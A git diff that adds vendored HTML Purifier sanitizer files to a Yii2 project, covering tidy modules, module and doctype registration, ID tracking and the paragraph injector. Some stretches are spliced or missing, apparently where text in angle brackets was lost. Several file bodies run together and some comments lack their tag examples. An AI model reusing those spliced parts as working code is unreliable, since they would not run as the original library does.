exist', + E_USER_ERROR + ); + return; + } + $this->fixesForLevel[$this->defaultLevel] = array_keys($fixes); + } + + /** + * Populates the module with transforms and other special-case code + * based on a list of fixes passed to it + * @param array $fixes Lookup table of fixes to activate + */ + public function populate($fixes) + { + foreach ($fixes as $name => $fix) { + // determine what the fix is for + list($type, $params) = $this->getFixType($name); + switch ($type) { + case 'attr_transform_pre': + case 'attr_transform_post': + $attr = $params['attr']; + if (isset($params['element'])) { + $element = $params['element']; + if (empty($this->info[$element])) { + $e = $this->addBlankElement($element); + } else { + $e = $this->info[$element]; + } + } else { + $type = "info_$type"; + $e = $this; + } + // PHP does some weird parsing when I do + // $e->$type[$attr], so I have to assign a ref. + $f =& $e->$type; + $f[$attr] = $fix; + break; + case 'tag_transform': + $this->info_tag_transform[$params['element']] = $fix; + break; + case 'child': + case 'content_model_type': + $element = $params['element']; + if (empty($this->info[$element])) { + $e = $this->addBlankElement($element); + } else { + $e = $this->info[$element]; + } + $e->$type = $fix; + break; + default: + trigger_error("Fix type $type not supported", E_USER_ERROR); + break; + } + } + } + + /** + * Parses a fix name and determines what kind of fix it is, as well + * as other information defined by the fix + * @param $name String name of fix + * @return array(string $fix_type, array $fix_parameters) + * @note $fix_parameters is type dependant, see populate() for usage + * of these parameters + */ + public function getFixType($name) + { + // parse it + $property = $attr = null; + if (strpos($name, '#') !== false) { + list($name, $property) = explode('#', $name); + } + if (strpos($name, '@') !== false) { + list($name, $attr) = explode('@', $name); + } + + // figure out the parameters + $params = array(); + if ($name !== '') { + $params['element'] = $name; + } + if (!is_null($attr)) { + $params['attr'] = $attr; + } + + // special case: attribute transform + if (!is_null($attr)) { + if (is_null($property)) { + $property = 'pre'; + } + $type = 'attr_transform_' . $property; + return array($type, $params); + } + + // special case: tag transform + if (is_null($property)) { + return array('tag_transform', $params); + } + + return array($property, $params); + + } + + /** + * Defines all fixes the module will perform in a compact + * associative array of fix name to fix implementation. + * @return array + */ + public function makeFixes() + { + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Name.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Name.php new file mode 100644 index 00000000..a995161b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Name.php @@ -0,0 +1,33 @@ +content_model_type != 'strictblockquote') { + return parent::getChildDef($def); + } + return new HTMLPurifier_ChildDef_StrictBlockquote($def->content_model); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Transitional.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Transitional.php new file mode 100644 index 00000000..c095ad97 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Transitional.php @@ -0,0 +1,16 @@ + 'text-align:left;', + 'right' => 'text-align:right;', + 'top' => 'caption-side:top;', + 'bottom' => 'caption-side:bottom;' // not supported by IE + ) + ); + + // @align for img ------------------------------------------------- + $r['img@align'] = + new HTMLPurifier_AttrTransform_EnumToCSS( + 'align', + array( + 'left' => 'float:left;', + 'right' => 'float:right;', + 'top' => 'vertical-align:top;', + 'middle' => 'vertical-align:middle;', + 'bottom' => 'vertical-align:baseline;', + ) + ); + + // @align for table ----------------------------------------------- + $r['table@align'] = + new HTMLPurifier_AttrTransform_EnumToCSS( + 'align', + array( + 'left' => 'float:left;', + 'center' => 'margin-left:auto;margin-right:auto;', + 'right' => 'float:right;' + ) + ); + + // @align for hr ----------------------------------------------- + $r['hr@align'] = + new HTMLPurifier_AttrTransform_EnumToCSS( + 'align', + array( + // we use both text-align and margin because these work + // for different browsers (IE and Firefox, respectively) + // and the melange makes for a pretty cross-compatible + // solution + 'left' => 'margin-left:0;margin-right:auto;text-align:left;', + 'center' => 'margin-left:auto;margin-right:auto;text-align:center;', + 'right' => 'margin-left:auto;margin-right:0;text-align:right;' + ) + ); + + // @align for h1, h2, h3, h4, h5, h6, p, div ---------------------- + // {{{ + $align_lookup = array(); + $align_values = array('left', 'right', 'center', 'justify'); + foreach ($align_values as $v) { + $align_lookup[$v] = "text-align:$v;"; + } + // }}} + $r['h1@align'] = + $r['h2@align'] = + $r['h3@align'] = + $r['h4@align'] = + $r['h5@align'] = + $r['h6@align'] = + $r['p@align'] = + $r['div@align'] = + new HTMLPurifier_AttrTransform_EnumToCSS('align', $align_lookup); + + // @bgcolor for table, tr, td, th --------------------------------- + $r['table@bgcolor'] = + $r['td@bgcolor'] = + $r['th@bgcolor'] = + new HTMLPurifier_AttrTransform_BgColor(); + + // @border for img ------------------------------------------------ + $r['img@border'] = new HTMLPurifier_AttrTransform_Border(); + + // @clear for br -------------------------------------------------- + $r['br@clear'] = + new HTMLPurifier_AttrTransform_EnumToCSS( + 'clear', + array( + 'left' => 'clear:left;', + 'right' => 'clear:right;', + 'all' => 'clear:both;', + 'none' => 'clear:none;', + ) + ); + + // @height for td, th --------------------------------------------- + $r['td@height'] = + $r['th@height'] = + new HTMLPurifier_AttrTransform_Length('height'); + + // @hspace for img ------------------------------------------------ + $r['img@hspace'] = new HTMLPurifier_AttrTransform_ImgSpace('hspace'); + + // @noshade for hr ------------------------------------------------ + // this transformation is not precise but often good enough. + // different browsers use different styles to designate noshade + $r['hr@noshade'] = + new HTMLPurifier_AttrTransform_BoolToCSS( + 'noshade', + 'color:#808080;background-color:#808080;border:0;' + ); + + // @nowrap for td, th --------------------------------------------- + $r['td@nowrap'] = + $r['th@nowrap'] = + new HTMLPurifier_AttrTransform_BoolToCSS( + 'nowrap', + 'white-space:nowrap;' + ); + + // @size for hr -------------------------------------------------- + $r['hr@size'] = new HTMLPurifier_AttrTransform_Length('size', 'height'); + + // @type for li, ol, ul ------------------------------------------- + // {{{ + $ul_types = array( + 'disc' => 'list-style-type:disc;', + 'square' => 'list-style-type:square;', + 'circle' => 'list-style-type:circle;' + ); + $ol_types = array( + '1' => 'list-style-type:decimal;', + 'i' => 'list-style-type:lower-roman;', + 'I' => 'list-style-type:upper-roman;', + 'a' => 'list-style-type:lower-alpha;', + 'A' => 'list-style-type:upper-alpha;' + ); + $li_types = $ul_types + $ol_types; + // }}} + + $r['ul@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $ul_types); + $r['ol@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $ol_types, true); + $r['li@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $li_types, true); + + // @vspace for img ------------------------------------------------ + $r['img@vspace'] = new HTMLPurifier_AttrTransform_ImgSpace('vspace'); + + // @width for hr, td, th ------------------------------------------ + $r['td@width'] = + $r['th@width'] = + $r['hr@width'] = new HTMLPurifier_AttrTransform_Length('width'); + + return $r; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php new file mode 100644 index 00000000..01dbe9de --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php @@ -0,0 +1,20 @@ + array( + 'xml:lang' => 'LanguageCode', + ) + ); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModuleManager.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModuleManager.php new file mode 100644 index 00000000..f3a17cb0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModuleManager.php @@ -0,0 +1,459 @@ +attrTypes = new HTMLPurifier_AttrTypes(); + $this->doctypes = new HTMLPurifier_DoctypeRegistry(); + + // setup basic modules + $common = array( + 'CommonAttributes', 'Text', 'Hypertext', 'List', + 'Presentation', 'Edit', 'Bdo', 'Tables', 'Image', + 'StyleAttribute', + // Unsafe: + 'Scripting', 'Object', 'Forms', + // Sorta legacy, but present in strict: + 'Name', + ); + $transitional = array('Legacy', 'Target', 'Iframe'); + $xml = array('XMLCommonAttributes'); + $non_xml = array('NonXMLCommonAttributes'); + + // setup basic doctypes + $this->doctypes->register( + 'HTML 4.01 Transitional', + false, + array_merge($common, $transitional, $non_xml), + array('Tidy_Transitional', 'Tidy_Proprietary'), + array(), + '-//W3C//DTD HTML 4.01 Transitional//EN', + 'http://www.w3.org/TR/html4/loose.dtd' + ); + + $this->doctypes->register( + 'HTML 4.01 Strict', + false, + array_merge($common, $non_xml), + array('Tidy_Strict', 'Tidy_Proprietary', 'Tidy_Name'), + array(), + '-//W3C//DTD HTML 4.01//EN', + 'http://www.w3.org/TR/html4/strict.dtd' + ); + + $this->doctypes->register( + 'XHTML 1.0 Transitional', + true, + array_merge($common, $transitional, $xml, $non_xml), + array('Tidy_Transitional', 'Tidy_XHTML', 'Tidy_Proprietary', 'Tidy_Name'), + array(), + '-//W3C//DTD XHTML 1.0 Transitional//EN', + 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd' + ); + + $this->doctypes->register( + 'XHTML 1.0 Strict', + true, + array_merge($common, $xml, $non_xml), + array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Strict', 'Tidy_Proprietary', 'Tidy_Name'), + array(), + '-//W3C//DTD XHTML 1.0 Strict//EN', + 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd' + ); + + $this->doctypes->register( + 'XHTML 1.1', + true, + // Iframe is a real XHTML 1.1 module, despite being + // "transitional"! + array_merge($common, $xml, array('Ruby', 'Iframe')), + array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Proprietary', 'Tidy_Strict', 'Tidy_Name'), // Tidy_XHTML1_1 + array(), + '-//W3C//DTD XHTML 1.1//EN', + 'http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd' + ); + + } + + /** + * Registers a module to the recognized module list, useful for + * overloading pre-existing modules. + * @param $module Mixed: string module name, with or without + * HTMLPurifier_HTMLModule prefix, or instance of + * subclass of HTMLPurifier_HTMLModule. + * @param $overload Boolean whether or not to overload previous modules. + * If this is not set, and you do overload a module, + * HTML Purifier will complain with a warning. + * @note This function will not call autoload, you must instantiate + * (and thus invoke) autoload outside the method. + * @note If a string is passed as a module name, different variants + * will be tested in this order: + * - Check for HTMLPurifier_HTMLModule_$name + * - Check all prefixes with $name in order they were added + * - Check for literal object name + * - Throw fatal error + * If your object name collides with an internal class, specify + * your module manually. All modules must have been included + * externally: registerModule will not perform inclusions for you! + */ + public function registerModule($module, $overload = false) + { + if (is_string($module)) { + // attempt to load the module + $original_module = $module; + $ok = false; + foreach ($this->prefixes as $prefix) { + $module = $prefix . $original_module; + if (class_exists($module)) { + $ok = true; + break; + } + } + if (!$ok) { + $module = $original_module; + if (!class_exists($module)) { + trigger_error( + $original_module . ' module does not exist', + E_USER_ERROR + ); + return; + } + } + $module = new $module(); + } + if (empty($module->name)) { + trigger_error('Module instance of ' . get_class($module) . ' must have name'); + return; + } + if (!$overload && isset($this->registeredModules[$module->name])) { + trigger_error('Overloading ' . $module->name . ' without explicit overload parameter', E_USER_WARNING); + } + $this->registeredModules[$module->name] = $module; + } + + /** + * Adds a module to the current doctype by first registering it, + * and then tacking it on to the active doctype + */ + public function addModule($module) + { + $this->registerModule($module); + if (is_object($module)) { + $module = $module->name; + } + $this->userModules[] = $module; + } + + /** + * Adds a class prefix that registerModule() will use to resolve a + * string name to a concrete class + */ + public function addPrefix($prefix) + { + $this->prefixes[] = $prefix; + } + + /** + * Performs processing on modules, after being called you may + * use getElement() and getElements() + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + $this->trusted = $config->get('HTML.Trusted'); + + // generate + $this->doctype = $this->doctypes->make($config); + $modules = $this->doctype->modules; + + // take out the default modules that aren't allowed + $lookup = $config->get('HTML.AllowedModules'); + $special_cases = $config->get('HTML.CoreModules'); + + if (is_array($lookup)) { + foreach ($modules as $k => $m) { + if (isset($special_cases[$m])) { + continue; + } + if (!isset($lookup[$m])) { + unset($modules[$k]); + } + } + } + + // custom modules + if ($config->get('HTML.Proprietary')) { + $modules[] = 'Proprietary'; + } + if ($config->get('HTML.SafeObject')) { + $modules[] = 'SafeObject'; + } + if ($config->get('HTML.SafeEmbed')) { + $modules[] = 'SafeEmbed'; + } + if ($config->get('HTML.SafeScripting') !== array()) { + $modules[] = 'SafeScripting'; + } + if ($config->get('HTML.Nofollow')) { + $modules[] = 'Nofollow'; + } + if ($config->get('HTML.TargetBlank')) { + $modules[] = 'TargetBlank'; + } + + // merge in custom modules + $modules = array_merge($modules, $this->userModules); + + foreach ($modules as $module) { + $this->processModule($module); + $this->modules[$module]->setup($config); + } + + foreach ($this->doctype->tidyModules as $module) { + $this->processModule($module); + $this->modules[$module]->setup($config); + } + + // prepare any injectors + foreach ($this->modules as $module) { + $n = array(); + foreach ($module->info_injector as $injector) { + if (!is_object($injector)) { + $class = "HTMLPurifier_Injector_$injector"; + $injector = new $class; + } + $n[$injector->name] = $injector; + } + $module->info_injector = $n; + } + + // setup lookup table based on all valid modules + foreach ($this->modules as $module) { + foreach ($module->info as $name => $def) { + if (!isset($this->elementLookup[$name])) { + $this->elementLookup[$name] = array(); + } + $this->elementLookup[$name][] = $module->name; + } + } + + // note the different choice + $this->contentSets = new HTMLPurifier_ContentSets( + // content set assembly deals with all possible modules, + // not just ones deemed to be "safe" + $this->modules + ); + $this->attrCollections = new HTMLPurifier_AttrCollections( + $this->attrTypes, + // there is no way to directly disable a global attribute, + // but using AllowedAttributes or simply not including + // the module in your custom doctype should be sufficient + $this->modules + ); + } + + /** + * Takes a module and adds it to the active module collection, + * registering it if necessary. + */ + public function processModule($module) + { + if (!isset($this->registeredModules[$module]) || is_object($module)) { + $this->registerModule($module); + } + $this->modules[$module] = $this->registeredModules[$module]; + } + + /** + * Retrieves merged element definitions. + * @return Array of HTMLPurifier_ElementDef + */ + public function getElements() + { + $elements = array(); + foreach ($this->modules as $module) { + if (!$this->trusted && !$module->safe) { + continue; + } + foreach ($module->info as $name => $v) { + if (isset($elements[$name])) { + continue; + } + $elements[$name] = $this->getElement($name); + } + } + + // remove dud elements, this happens when an element that + // appeared to be safe actually wasn't + foreach ($elements as $n => $v) { + if ($v === false) { + unset($elements[$n]); + } + } + + return $elements; + + } + + /** + * Retrieves a single merged element definition + * @param string $name Name of element + * @param bool $trusted Boolean trusted overriding parameter: set to true + * if you want the full version of an element + * @return HTMLPurifier_ElementDef Merged HTMLPurifier_ElementDef + * @note You may notice that modules are getting iterated over twice (once + * in getElements() and once here). This + * is because + */ + public function getElement($name, $trusted = null) + { + if (!isset($this->elementLookup[$name])) { + return false; + } + + // setup global state variables + $def = false; + if ($trusted === null) { + $trusted = $this->trusted; + } + + // iterate through each module that has registered itself to this + // element + foreach ($this->elementLookup[$name] as $module_name) { + $module = $this->modules[$module_name]; + + // refuse to create/merge from a module that is deemed unsafe-- + // pretend the module doesn't exist--when trusted mode is not on. + if (!$trusted && !$module->safe) { + continue; + } + + // clone is used because, ideally speaking, the original + // definition should not be modified. Usually, this will + // make no difference, but for consistency's sake + $new_def = clone $module->info[$name]; + + if (!$def && $new_def->standalone) { + $def = $new_def; + } elseif ($def) { + // This will occur even if $new_def is standalone. In practice, + // this will usually result in a full replacement. + $def->mergeIn($new_def); + } else { + // :TODO: + // non-standalone definitions that don't have a standalone + // to merge into could be deferred to the end + // HOWEVER, it is perfectly valid for a non-standalone + // definition to lack a standalone definition, even + // after all processing: this allows us to safely + // specify extra attributes for elements that may not be + // enabled all in one place. In particular, this might + // be the case for trusted elements. WARNING: care must + // be taken that the /extra/ definitions are all safe. + continue; + } + + // attribute value expansions + $this->attrCollections->performInclusions($def->attr); + $this->attrCollections->expandIdentifiers($def->attr, $this->attrTypes); + + // descendants_are_inline, for ChildDef_Chameleon + if (is_string($def->content_model) && + strpos($def->content_model, 'Inline') !== false) { + if ($name != 'del' && $name != 'ins') { + // this is for you, ins/del + $def->descendants_are_inline = true; + } + } + + $this->contentSets->generateChildDef($def, $module); + } + + // This can occur if there is a blank definition, but no base to + // mix it in with + if (!$def) { + return false; + } + + // add information on required attributes + foreach ($def->attr as $attr_name => $attr_def) { + if ($attr_def->required) { + $def->required_attr[] = $attr_name; + } + } + return $def; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/IDAccumulator.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/IDAccumulator.php new file mode 100644 index 00000000..65c902c0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/IDAccumulator.php @@ -0,0 +1,57 @@ +load($config->get('Attr.IDBlacklist')); + return $id_accumulator; + } + + /** + * Add an ID to the lookup table. + * @param string $id ID to be added. + * @return bool status, true if success, false if there's a dupe + */ + public function add($id) + { + if (isset($this->ids[$id])) { + return false; + } + return $this->ids[$id] = true; + } + + /** + * Load a list of IDs into the lookup table + * @param $array_of_ids Array of IDs to load + * @note This function doesn't care about duplicates + */ + public function load($array_of_ids) + { + foreach ($array_of_ids as $id) { + $this->ids[$id] = true; + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector.php new file mode 100644 index 00000000..5060eef9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector.php @@ -0,0 +1,281 @@ +processToken() + * documentation. + * + * @todo Allow injectors to request a re-run on their output. This + * would help if an operation is recursive. + */ +abstract class HTMLPurifier_Injector +{ + + /** + * Advisory name of injector, this is for friendly error messages. + * @type string + */ + public $name; + + /** + * @type HTMLPurifier_HTMLDefinition + */ + protected $htmlDefinition; + + /** + * Reference to CurrentNesting variable in Context. This is an array + * list of tokens that we are currently "inside" + * @type array + */ + protected $currentNesting; + + /** + * Reference to current token. + * @type HTMLPurifier_Token + */ + protected $currentToken; + + /** + * Reference to InputZipper variable in Context. + * @type HTMLPurifier_Zipper + */ + protected $inputZipper; + + /** + * Array of elements and attributes this injector creates and therefore + * need to be allowed by the definition. Takes form of + * array('element' => array('attr', 'attr2'), 'element2') + * @type array + */ + public $needed = array(); + + /** + * Number of elements to rewind backwards (relative). + * @type bool|int + */ + protected $rewindOffset = false; + + /** + * Rewind to a spot to re-perform processing. This is useful if you + * deleted a node, and now need to see if this change affected any + * earlier nodes. Rewinding does not affect other injectors, and can + * result in infinite loops if not used carefully. + * @param bool|int $offset + * @warning HTML Purifier will prevent you from fast-forwarding with this + * function. + */ + public function rewindOffset($offset) + { + $this->rewindOffset = $offset; + } + + /** + * Retrieves rewind offset, and then unsets it. + * @return bool|int + */ + public function getRewindOffset() + { + $r = $this->rewindOffset; + $this->rewindOffset = false; + return $r; + } + + /** + * Prepares the injector by giving it the config and context objects: + * this allows references to important variables to be made within + * the injector. This function also checks if the HTML environment + * will work with the Injector (see checkNeeded()). + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string Boolean false if success, string of missing needed element/attribute if failure + */ + public function prepare($config, $context) + { + $this->htmlDefinition = $config->getHTMLDefinition(); + // Even though this might fail, some unit tests ignore this and + // still test checkNeeded, so be careful. Maybe get rid of that + // dependency. + $result = $this->checkNeeded($config); + if ($result !== false) { + return $result; + } + $this->currentNesting =& $context->get('CurrentNesting'); + $this->currentToken =& $context->get('CurrentToken'); + $this->inputZipper =& $context->get('InputZipper'); + return false; + } + + /** + * This function checks if the HTML environment + * will work with the Injector: if p tags are not allowed, the + * Auto-Paragraphing injector should not be enabled. + * @param HTMLPurifier_Config $config + * @return bool|string Boolean false if success, string of missing needed element/attribute if failure + */ + public function checkNeeded($config) + { + $def = $config->getHTMLDefinition(); + foreach ($this->needed as $element => $attributes) { + if (is_int($element)) { + $element = $attributes; + } + if (!isset($def->info[$element])) { + return $element; + } + if (!is_array($attributes)) { + continue; + } + foreach ($attributes as $name) { + if (!isset($def->info[$element]->attr[$name])) { + return "$element.$name"; + } + } + } + return false; + } + + /** + * Tests if the context node allows a certain element + * @param string $name Name of element to test for + * @return bool True if element is allowed, false if it is not + */ + public function allowsElement($name) + { + if (!empty($this->currentNesting)) { + $parent_token = array_pop($this->currentNesting); + $this->currentNesting[] = $parent_token; + $parent = $this->htmlDefinition->info[$parent_token->name]; + } else { + $parent = $this->htmlDefinition->info_parent_def; + } + if (!isset($parent->child->elements[$name]) || isset($parent->excludes[$name])) { + return false; + } + // check for exclusion + for ($i = count($this->currentNesting) - 2; $i >= 0; $i--) { + $node = $this->currentNesting[$i]; + $def = $this->htmlDefinition->info[$node->name]; + if (isset($def->excludes[$name])) { + return false; + } + } + return true; + } + + /** + * Iterator function, which starts with the next token and continues until + * you reach the end of the input tokens. + * @warning Please prevent previous references from interfering with this + * functions by setting $i = null beforehand! + * @param int $i Current integer index variable for inputTokens + * @param HTMLPurifier_Token $current Current token variable. + * Do NOT use $token, as that variable is also a reference + * @return bool + */ + protected function forward(&$i, &$current) + { + if ($i === null) { + $i = count($this->inputZipper->back) - 1; + } else { + $i--; + } + if ($i < 0) { + return false; + } + $current = $this->inputZipper->back[$i]; + return true; + } + + /** + * Similar to _forward, but accepts a third parameter $nesting (which + * should be initialized at 0) and stops when we hit the end tag + * for the node $this->inputIndex starts in. + * @param int $i Current integer index variable for inputTokens + * @param HTMLPurifier_Token $current Current token variable. + * Do NOT use $token, as that variable is also a reference + * @param int $nesting + * @return bool + */ + protected function forwardUntilEndToken(&$i, &$current, &$nesting) + { + $result = $this->forward($i, $current); + if (!$result) { + return false; + } + if ($nesting === null) { + $nesting = 0; + } + if ($current instanceof HTMLPurifier_Token_Start) { + $nesting++; + } elseif ($current instanceof HTMLPurifier_Token_End) { + if ($nesting <= 0) { + return false; + } + $nesting--; + } + return true; + } + + /** + * Iterator function, starts with the previous token and continues until + * you reach the beginning of input tokens. + * @warning Please prevent previous references from interfering with this + * functions by setting $i = null beforehand! + * @param int $i Current integer index variable for inputTokens + * @param HTMLPurifier_Token $current Current token variable. + * Do NOT use $token, as that variable is also a reference + * @return bool + */ + protected function backward(&$i, &$current) + { + if ($i === null) { + $i = count($this->inputZipper->front) - 1; + } else { + $i--; + } + if ($i < 0) { + return false; + } + $current = $this->inputZipper->front[$i]; + return true; + } + + /** + * Handler that is called when a text token is processed + */ + public function handleText(&$token) + { + } + + /** + * Handler that is called when a start or empty token is processed + */ + public function handleElement(&$token) + { + } + + /** + * Handler that is called when an end token is processed + */ + public function handleEnd(&$token) + { + $this->notifyEnd($token); + } + + /** + * Notifier that is called when an end token is processed + * @param HTMLPurifier_Token $token Current token variable. + * @note This differs from handlers in that the token is read-only + * @deprecated + */ + public function notifyEnd($token) + { + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/AutoParagraph.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/AutoParagraph.php new file mode 100644 index 00000000..4afdd128 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/AutoParagraph.php @@ -0,0 +1,356 @@ +armor['MakeWellFormed_TagClosedError'] = true; + return $par; + } + + /** + * @param HTMLPurifier_Token_Text $token + */ + public function handleText(&$token) + { + $text = $token->data; + // Does the current parent allow

        tags? + if ($this->allowsElement('p')) { + if (empty($this->currentNesting) || strpos($text, "\n\n") !== false) { + // Note that we have differing behavior when dealing with text + // in the anonymous root node, or a node inside the document. + // If the text as a double-newline, the treatment is the same; + // if it doesn't, see the next if-block if you're in the document. + + $i = $nesting = null; + if (!$this->forwardUntilEndToken($i, $current, $nesting) && $token->is_whitespace) { + // State 1.1: ... ^ (whitespace, then document end) + // ---- + // This is a degenerate case + } else { + if (!$token->is_whitespace || $this->_isInline($current)) { + // State 1.2: PAR1 + // ---- + + // State 1.3: PAR1\n\nPAR2 + // ------------ + + // State 1.4:

        PAR1\n\nPAR2 (see State 2) + // ------------ + $token = array($this->_pStart()); + $this->_splitText($text, $token); + } else { + // State 1.5: \n
        + // -- + } + } + } else { + // State 2:
        PAR1... (similar to 1.4) + // ---- + + // We're in an element that allows paragraph tags, but we're not + // sure if we're going to need them. + if ($this->_pLookAhead()) { + // State 2.1:
        PAR1PAR1\n\nPAR2 + // ---- + // Note: This will always be the first child, since any + // previous inline element would have triggered this very + // same routine, and found the double newline. One possible + // exception would be a comment. + $token = array($this->_pStart(), $token); + } else { + // State 2.2.1:
        PAR1
        + // ---- + + // State 2.2.2:
        PAR1PAR1
        + // ---- + } + } + // Is the current parent a

        tag? + } elseif (!empty($this->currentNesting) && + $this->currentNesting[count($this->currentNesting) - 1]->name == 'p') { + // State 3.1: ...

        PAR1 + // ---- + + // State 3.2: ...

        PAR1\n\nPAR2 + // ------------ + $token = array(); + $this->_splitText($text, $token); + // Abort! + } else { + // State 4.1: ...PAR1 + // ---- + + // State 4.2: ...PAR1\n\nPAR2 + // ------------ + } + } + + /** + * @param HTMLPurifier_Token $token + */ + public function handleElement(&$token) + { + // We don't have to check if we're already in a

        tag for block + // tokens, because the tag would have been autoclosed by MakeWellFormed. + if ($this->allowsElement('p')) { + if (!empty($this->currentNesting)) { + if ($this->_isInline($token)) { + // State 1:

        ... + // --- + // Check if this token is adjacent to the parent token + // (seek backwards until token isn't whitespace) + $i = null; + $this->backward($i, $prev); + + if (!$prev instanceof HTMLPurifier_Token_Start) { + // Token wasn't adjacent + if ($prev instanceof HTMLPurifier_Token_Text && + substr($prev->data, -2) === "\n\n" + ) { + // State 1.1.4:

        PAR1

        \n\n + // --- + // Quite frankly, this should be handled by splitText + $token = array($this->_pStart(), $token); + } else { + // State 1.1.1:

        PAR1

        + // --- + // State 1.1.2:

        + // --- + // State 1.1.3:
        PAR + // --- + } + } else { + // State 1.2.1:
        + // --- + // Lookahead to see if

        is needed. + if ($this->_pLookAhead()) { + // State 1.3.1:

        PAR1\n\nPAR2 + // --- + $token = array($this->_pStart(), $token); + } else { + // State 1.3.2:
        PAR1
        + // --- + + // State 1.3.3:
        PAR1
        \n\n
        + // --- + } + } + } else { + // State 2.3: ...
        + // ----- + } + } else { + if ($this->_isInline($token)) { + // State 3.1: + // --- + // This is where the {p} tag is inserted, not reflected in + // inputTokens yet, however. + $token = array($this->_pStart(), $token); + } else { + // State 3.2:
        + // ----- + } + + $i = null; + if ($this->backward($i, $prev)) { + if (!$prev instanceof HTMLPurifier_Token_Text) { + // State 3.1.1: ...

        {p} + // --- + // State 3.2.1: ...

        + // ----- + if (!is_array($token)) { + $token = array($token); + } + array_unshift($token, new HTMLPurifier_Token_Text("\n\n")); + } else { + // State 3.1.2: ...

        \n\n{p} + // --- + // State 3.2.2: ...

        \n\n
        + // ----- + // Note: PAR cannot occur because PAR would have been + // wrapped in

        tags. + } + } + } + } else { + // State 2.2:

        • + // ---- + // State 2.4:

          + // --- + } + } + + /** + * Splits up a text in paragraph tokens and appends them + * to the result stream that will replace the original + * @param string $data String text data that will be processed + * into paragraphs + * @param HTMLPurifier_Token[] $result Reference to array of tokens that the + * tags will be appended onto + */ + private function _splitText($data, &$result) + { + $raw_paragraphs = explode("\n\n", $data); + $paragraphs = array(); // without empty paragraphs + $needs_start = false; + $needs_end = false; + + $c = count($raw_paragraphs); + if ($c == 1) { + // There were no double-newlines, abort quickly. In theory this + // should never happen. + $result[] = new HTMLPurifier_Token_Text($data); + return; + } + for ($i = 0; $i < $c; $i++) { + $par = $raw_paragraphs[$i]; + if (trim($par) !== '') { + $paragraphs[] = $par; + } else { + if ($i == 0) { + // Double newline at the front + if (empty($result)) { + // The empty result indicates that the AutoParagraph + // injector did not add any start paragraph tokens. + // This means that we have been in a paragraph for + // a while, and the newline means we should start a new one. + $result[] = new HTMLPurifier_Token_End('p'); + $result[] = new HTMLPurifier_Token_Text("\n\n"); + // However, the start token should only be added if + // there is more processing to be done (i.e. there are + // real paragraphs in here). If there are none, the + // next start paragraph tag will be handled by the + // next call to the injector + $needs_start = true; + } else { + // We just started a new paragraph! + // Reinstate a double-newline for presentation's sake, since + // it was in the source code. + array_unshift($result, new HTMLPurifier_Token_Text("\n\n")); + } + } elseif ($i + 1 == $c) { + // Double newline at the end + // There should be a trailing

          when we're finally done. + $needs_end = true; + } + } + } + + // Check if this was just a giant blob of whitespace. Move this earlier, + // perhaps? + if (empty($paragraphs)) { + return; + } + + // Add the start tag indicated by \n\n at the beginning of $data + if ($needs_start) { + $result[] = $this->_pStart(); + } + + // Append the paragraphs onto the result + foreach ($paragraphs as $par) { + $result[] = new HTMLPurifier_Token_Text($par); + $result[] = new HTMLPurifier_Token_End('p'); + $result[] = new HTMLPurifier_Token_Text("\n\n"); + $result[] = $this->_pStart(); + } + + // Remove trailing start token; Injector will handle this later if + // it was indeed needed. This prevents from needing to do a lookahead, + // at the cost of a lookbehind later. + array_pop($result); + + // If there is no need for an end tag, remove all of it and let + // MakeWellFormed close it later. + if (!$needs_end) { + array_pop($result); // removes \n\n + array_pop($result); // removes

